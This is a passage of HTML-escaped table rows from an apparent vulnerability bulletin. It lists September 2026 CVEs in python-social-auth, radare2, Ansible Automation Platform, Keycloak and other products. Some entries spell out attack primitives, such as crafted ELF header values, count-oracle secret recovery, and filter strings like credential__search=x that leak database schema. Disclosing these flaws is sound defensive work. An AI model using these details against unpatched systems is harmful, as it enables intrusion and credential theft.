&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57176&quot; target=&quot;_blank&quot;&gt;CVE-2026-57176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;python-social-auth--social-core&lt;/td&gt;
&lt;td&gt;Python Social Auth is a social authentication/registration mechanism. Prior to version 5.0.0, the LoginRadius backend did not validate OAuth state during the authentication flow. Applications using this backend were vulnerable to login CSRF. An attacker could cause a victim&#039;s browser session to complete authentication using an attacker-controlled LoginRadius token, making the victim authenticated as the attacker&#039;s LoginRadius identity. The issue affects only applications using the LoginRadius backend. The issue has been fixe in version 5.0.0 by enabling callback state validation for the LoginRadius backend.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57177&quot; target=&quot;_blank&quot;&gt;CVE-2026-57177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;python-social-auth--social-core&lt;/td&gt;
&lt;td&gt;Python Social Auth is a social authentication/registration mechanism. Prior to version 5.0.0, the partial-pipeline resume mechanism accepted `partial_token` as a bearer credential without binding it to the browser session that created it. Applications using resumable partial pipeline steps could allow an attacker to start an authentication flow, obtain a valid partial token and verification data, and cause a victim&#039;s browser to resume that attacker-controlled flow. This could authenticate the victim&#039;s browser as the attacker&#039;s account. The issue affects applications using partial pipeline steps such as `mail_validation` or custom steps decorated with `@partial`. The issue has been fixed in version 5.0.0 by binding partial pipeline resumes to the originating browser session.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57179&quot; target=&quot;_blank&quot;&gt;CVE-2026-57179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory corruption while processing a crafted ELF file in the Primary Bootloader.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25262&quot; target=&quot;_blank&quot;&gt;CVE-2026-25262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s CPython bytecode .pyc marshal parser was vulnerable because the CPython marshal readers accepted a 32-bit string length without rejecting values that overflow the size-plus-one allocation. The vulnerability is triggered by opening or inspecting a crafted .pyc file through r2 or rabin2. A length of 0xffffffff wrapped the allocation to zero before the common byte reader wrote attacker-controlled data and fill bytes beyond the heap allocation. This can cause heap memory corruption and denial of service; arbitrary code execution is possible but has not been demonstrated. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81878&quot; target=&quot;_blank&quot;&gt;CVE-2026-81878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s ELF PN_XNUM handling was vulnerable because the ELF parser allocated the program-header array using the resolved PN_XNUM count but several consumers still iterated with the original e_phnum value of 65535. The vulnerability is triggered by processing a crafted ELF file with e_phnum = 0xffff and a much smaller resolved count in shdr[0].sh_info. Consumers iterated beyond the allocated program-header array. This can cause a heap out-of-bounds read and process termination, resulting in denial of service; memory disclosure and code execution have not been demonstrated. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81879&quot; target=&quot;_blank&quot;&gt;CVE-2026-81879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s Apple Preferred Executable Format loader was vulnerable because the PEF loader accepted relocSecCount values that were not bounded by the number of sections or complete relocation records in the input. The vulnerability is triggered by normal binary-format auto-detection of a small crafted Apple PEF file. The loader could perform up to 268,435,456 relocation-section iterations and repeated buffer operations after record offsets passed the end of the file. This can cause denial of service through excessive CPU consumption and prolonged processing. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81880&quot; target=&quot;_blank&quot;&gt;CVE-2026-81880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s NE relocation fixup-chain parser was vulnerable because the NE relocation parser followed fixup chains without an active iteration limit or cycle detection. The vulnerability is triggered by opening a crafted NE executable whose in-bounds relocation entry points back to itself instead of reaching 0xffff. The parser repeatedly processed the same relocation and allocated another relocation object on each iteration. This can cause denial of service through continuous CPU and memory consumption. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81885&quot; target=&quot;_blank&quot;&gt;CVE-2026-81885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radareorg--radare2&lt;/td&gt;
&lt;td&gt;radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2&#039;s Windows 64-bit crash-dump dmp64 parser was vulnerable because the Windows dmp64 parser used an input-controlled physical-memory-run PageCount directly as the bound of a per-page allocation loop. The vulnerability is triggered by opening a small crafted full-memory Windows crash dump. The parser repeatedly allocated and appended page descriptors without validating the count against the dump size. This can cause denial of service through excessive memory consumption and processing time. This issue is fixed in version 6.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81886&quot; target=&quot;_blank&quot;&gt;CVE-2026-81886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RadiusTheme--The Post Grid&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in The Post Grid &amp;lt;= 7.9.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94671&quot; target=&quot;_blank&quot;&gt;CVE-2026-94671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RadiusTheme--The Post Grid&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in The Post Grid &amp;lt;= 7.9.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94680&quot; target=&quot;_blank&quot;&gt;CVE-2026-94680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rapid7--Velociraptor&lt;/td&gt;
&lt;td&gt;Velociraptor contains a deadlock condition that may be triggered by authenticated users. The issue stems from a lock management bug in the user management module.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77798&quot; target=&quot;_blank&quot;&gt;CVE-2026-77798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;recommenders-team--recommenders&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in recommenders-team recommenders up to 1.2.1. This impacts the function pickle.load of the file recommenders/models/newsrec/io/mind_iterator.py of the component Dict Loading. Performing a manipulation results in deserialization. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95928&quot; target=&quot;_blank&quot;&gt;CVE-2026-95928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2&lt;/td&gt;
&lt;td&gt;An authorization bypass was found in the Ansible Automation Platform (AAP) gateway. The gateway API allows an authenticated administrator to create a new service key for the Controller service cluster. Because service-key creation is not restricted to the installer-provisioned provisioning path, an administrator-issued key is cryptographically indistinguishable from a legitimate one and can be used to forge a service-authentication token that impersonates the Controller service. Combined with the gateway OIDC workload-identity endpoint (enabled via FEATURE_OIDC_WORKLOAD_IDENTITY_ENABLED), the attacker can drive the gateway to sign Workload Identity Tokens (WITs) for arbitrary Controller workloads. A downstream resource server such as HashiCorp Vault that trusts the gateway OIDC key will accept the forged WIT and return the AAP credentials bound to that workload, disclosing secrets beyond the attacker&#039;s authorization boundary.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94416&quot; target=&quot;_blank&quot;&gt;CVE-2026-94416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the automation-controller instance install-bundle endpoint. When a System Administrator downloads an execution/hop node&#039;s install bundle, the controller signs an X.509 certificate with the receptor mesh certificate authority in which the Common Name, DNS subject-alternative-name, and receptor node-id are taken verbatim from the caller-chosen instance hostname, with a hard-coded ten-year validity, a random serial, and no issuance log or revocation list. Because the hostname charset validator is case-insensitive while the uniqueness validator is case-sensitive, an administrator can register a case variant of an existing control node&#039;s hostname and obtain a mesh-CA-signed certificate that TLS peers, which match hostnames case-insensitively, accept as that control node. In managed/hosted deployments - where the customer holds controller superuser but the platform operator runs the mesh - this yields a long-lived, non-revocable mesh peer credential and, with an on-path position, TLS impersonation or interception of control/hybrid mesh nodes. It does not grant direct remote code execution, because receptor work submission is gated by a separate signing key not included in the bundle.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84716&quot; target=&quot;_blank&quot;&gt;CVE-2026-84716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the Ansible Automation Platform automation-controller. The WorkflowJobNode.ancestor_artifacts database column, which stores the raw merged set_stats artifacts propagated between workflow nodes, is not wrapped in prevent_search() and is therefore accepted for arbitrary field lookups by the REST filter backend, even though it is omitted from the API serializer. Because the column is persisted before Ansible&#039;s no_log masking is applied, a user with only read access to a workflow - or, via a regular-expression lookup that bypasses the JSON cross-relation filter guard through the world-readable credential-types endpoint, any authenticated user with no roles - can use the result count as a boolean/count oracle to recover, character by character, secret values that a playbook author explicitly marked no_log, including across organizations.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84720&quot; target=&quot;_blank&quot;&gt;CVE-2026-84720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;An argument-injection flaw was found in the Ansible Automation Platform automation-controller system-job subsystem. The system-job template launch endpoint stores a user-supplied &quot;days&quot; variable without running the integer validation defined elsewhere for that field, and the dispatcher flattens the management-command argument list into a single string with spaces before the job runner re-splits it, so spaces in the value become additional command-line arguments. Because system jobs are executed in-process on the control node without the container isolation applied to all other job types, an authenticated user with superuser privileges can inject arbitrary arguments - including Python&#039;s path option - into the control-plane awx-manage process, controlling its argument vector and the first entry of its module search path. Full remote code execution requires an additional import gadget that is not present in the current management commands, so the demonstrated impact is argument injection with control of the process search path rather than confirmed code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84724&quot; target=&quot;_blank&quot;&gt;CVE-2026-84724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;URLModificationMiddleware resolves named-URL lookups against unfiltered Model.objects before RBAC. The 403â†’404 shim only rewrites 403 responses, leaving the pk=0 miss path with a different 404 detail string. Differential &quot;Not found.&quot; vs &quot;No &amp;lt;Model&amp;gt; matches...&quot; reveals whether a named resource (org, credential, inventory, host) exists anywhere on the platform. Enables cross-tenant internal hostname enumeration.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71458&quot; target=&quot;_blank&quot;&gt;CVE-2026-71458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;JobJobEventsChildrenSummary view has no model/parent_model. ModelAccessPermission.check_get_permissions() falls through (returns True) for any authenticated user. The view uses raw get_object_or_404(Job, pk) without DRF object-level permission check. Zero-privilege user reads event tree structure, event_processing_finished status, and enumerates Job IDs platform-wide via 200/404 oracle. Sibling endpoint /jobs/{id}/job_events/ correctly returns 403.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71459&quot; target=&quot;_blank&quot;&gt;CVE-2026-71459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the automation-controller API. The unauthenticated health-check endpoint /api/v2/ping/ (ApiV2PingView, AllowAny) over-serializes RBAC-gated automation-mesh data into its anonymous response, exposing the full instance inventory (node hostnames, node types, UUIDs, heartbeats, capacities, and exact versions), all instance-group names and membership, the deployment install UUID, and the active control node. A remote, unauthenticated attacker can use this to map the control plane and fingerprint software versions for targeted attacks. This flaw affects confidentiality only; it does not expose secrets, credentials, or tenant data.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84712&quot; target=&quot;_blank&quot;&gt;CVE-2026-84712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the Ansible Automation Platform automation-controller. The unauthenticated Bitbucket Data Center webhook receiver skips HMAC signature verification for diagnostics:ping events after it has already looked up the target template, causing the endpoint to return HTTP 200 for a template that has a Bitbucket DC webhook configured and HTTP 403 otherwise. An unauthenticated remote attacker can use this response discrepancy as an oracle to enumerate which Job Template and Workflow Job Template IDs have Bitbucket DC webhooks configured, without knowing the secret webhook_key.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84717&quot; target=&quot;_blank&quot;&gt;CVE-2026-84717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;/api/v2/config/ is protected only by IsAuthenticated. license_info (account_number, subscription_id, pool_id, sku, support_level, instance counts) returned to any authenticated user. The superuser/auditor gate only covers project_base_dir/project_local_paths/custom_virtualenvs, not license_info. Enables social engineering against Red Hat support and estate sizing reconnaissance.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71460&quot; target=&quot;_blank&quot;&gt;CVE-2026-71460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;StringListPathField.to_internal_value() calls os.path.exists() on unbounded user-supplied paths. 200 vs 400 response reveals existence of arbitrary absolute paths on the controller-web pod. Tenant superuser can confirm /etc/tower/SECRET_KEY, k8s service-account token, receptor sockets, ConfigMap mount points. Mainly impactful on managed AAP (ansiblecloud.com) where tenant admin != host admin.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71462&quot; target=&quot;_blank&quot;&gt;CVE-2026-71462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.5 for RHEL 8&lt;/td&gt;
&lt;td&gt;A flaw was found in the Ansible Automation Platform automation-controller. In the shipped production configuration, the Controller trusts the client-supplied X-Forwarded-For header as the request&#039;s client IP without verifying that it originated from a trusted proxy, and selects the leftmost (attacker-controlled) header value. As a result, an attacker can forge the source IP address recorded for their requests in the Controller&#039;s audit and access logs, degrading the integrity of forensic and SIEM attribution. The flaw does not grant additional access.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84718&quot; target=&quot;_blank&quot;&gt;CVE-2026-84718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.7&lt;/td&gt;
&lt;td&gt;A flaw was found in the automation-controller notification subsystem. Although NotificationTemplate.notification_ configuration is protected from API filtering, its recipient value is copied in clear text into the unprotected Notification.recipients field on every send. Because the credential-types endpoint is listable by any authenticated user and the API filter backend traverses object relations without per-hop authorization, a user with no privileges can use a relational filter as a boolean count-oracle to recover, character by character and across organizations, the secret recipient values of other tenants&#039; notifications - including PagerDuty service keys and Slack/Mattermost/RocketChat/Webhook bearer-token URLs. This flaw affects confidentiality.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84713&quot; target=&quot;_blank&quot;&gt;CVE-2026-84713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.7&lt;/td&gt;
&lt;td&gt;A server-side request forgery flaw was found in the Ansible Automation Platform automation-controller email notification backend. The email backend passes the user-supplied SMTP host and port from a notification template directly to the SMTP client without validating that the target is not an internal, loopback, link-local, or reserved address. An authenticated user with organization notification-admin permission can create or modify an email notification template pointing at an arbitrary internal address, trigger a test, and have the controller task process open a raw TCP connection to that address. The resulting connection error is reflected back through the notification record, providing a three-state internal port-scan oracle (open, closed, filtered) over the control-plane&#039;s cluster network, including the in-cluster Kubernetes API. When a shared organization template holds a stored SMTP password, redirecting the host can also cause that credential to be transmitted to an attacker-controlled server.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84721&quot; target=&quot;_blank&quot;&gt;CVE-2026-84721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2.7&lt;/td&gt;
&lt;td&gt;HostList.list() catches bare Exception and returns str(e) verbatim. Via host_filter, any authenticated user triggers Django FieldError (leaking complete Host model relation graph including internal reverse accessors) or PostgreSQL DataError (leaking raw database error strings). Two primitives: credential__search=x dumps ORM schema, name__regex=[bad reflects PostgreSQL errors.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71461&quot; target=&quot;_blank&quot;&gt;CVE-2026-71461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Kerberos federation provider of Keycloak, an open-source identity and access management solution. When Kerberos password authentication is used without SPNEGO, the system fails to verify the identity of the Key Distribution Center (KDC) by requesting a server ticket. This allows an attacker on the same network to spoof the KDC and bypass the authentication process, potentially gaining unauthorized access to user accounts.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95503&quot; target=&quot;_blank&quot;&gt;CVE-2026-95503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Conditional OTP authenticator of Keycloak, an identity and access management solution. The issue occurs when the system evaluates specific HTTP headers to determine if a one-time password (OTP) should be skipped, but fails to verify if those headers came from a trusted source. This could allow an attacker who already has a user&#039;s password to bypass the second-factor authentication by providing a specially crafted header in their request.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96445&quot; target=&quot;_blank&quot;&gt;CVE-2026-96445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Fine-Grained Admin Permissions (FGAP v2) feature of Keycloak, an identity and access management solution. The issue occurs when the system checks if a delegated administrator has permission to assign a specific role to a user. Because the check does not look inside composite roles to see what other permissions they contain, an administrator with limited rights can assign a role that secretly includes full administrative control. This allows the attacker to gain complete management access over the entire realm.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96448&quot; target=&quot;_blank&quot;&gt;CVE-2026-96448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the user update mechanism of the Keycloak Admin REST API. When Fine-Grained Admin Permissions are enabled, the system fails to check for specific password reset authorizations during a general user profile update. This allows a delegated administrator, who should be restricted from resetting passwords, to change a user&#039;s credentials and take over their account.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97177&quot; target=&quot;_blank&quot;&gt;CVE-2026-97177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;Keycloak provides a feature called mTLS holder-of-key binding which ensures that a token can only be used by the client that originally requested it by binding it to their digital certificate. A flaw was discovered where the new Standard Token Exchange V2 feature does not check for this certificate. This allows an attacker with stolen client credentials to obtain a standard, unrestricted token that bypasses these security protections.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97846&quot; target=&quot;_blank&quot;&gt;CVE-2026-97846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Admin REST API of Keycloak, an open-source identity and access management solution. The issue occurs because the API uses a per-request in-memory cache to resolve clients by their unique identifier without verifying if the client belongs to the realm specified in the request path. This allows an administrator with limited privileges to read or modify sensitive client configurations in the master realm by accessing them through a realm they control. Successful exploitation could lead to the exposure of client credentials or the redirection of administrative login attempts to malicious sites.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94215&quot; target=&quot;_blank&quot;&gt;CVE-2026-94215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Authorization Services component of Keycloak, an open-source identity and access management solution. The issue occurs in the policy evaluation endpoint, which is used by administrators to test how access policies apply to specific users. Due to missing authorization checks, a delegated administrator with limited viewing privileges can access the full profile and role information of any user in the realm, even if they are not permitted to view user details. This could lead to the exposure of sensitive information such as email addresses and assigned security roles.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94213&quot; target=&quot;_blank&quot;&gt;CVE-2026-94213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Pushed Authorization Request PAR implementation of Keycloak. The issue occurs when the silent authentication path prompt=none is used, which allows the authorization process to skip certain steps if a user is already logged in. Due to this bypass, the security rule that ensures a pushed request URI is used only once is not enforced. An attacker could potentially reuse a request URI to obtain multiple authorization codes for a user who is already signed in, violating security standards like FAPI-2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96446&quot; target=&quot;_blank&quot;&gt;CVE-2026-96446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
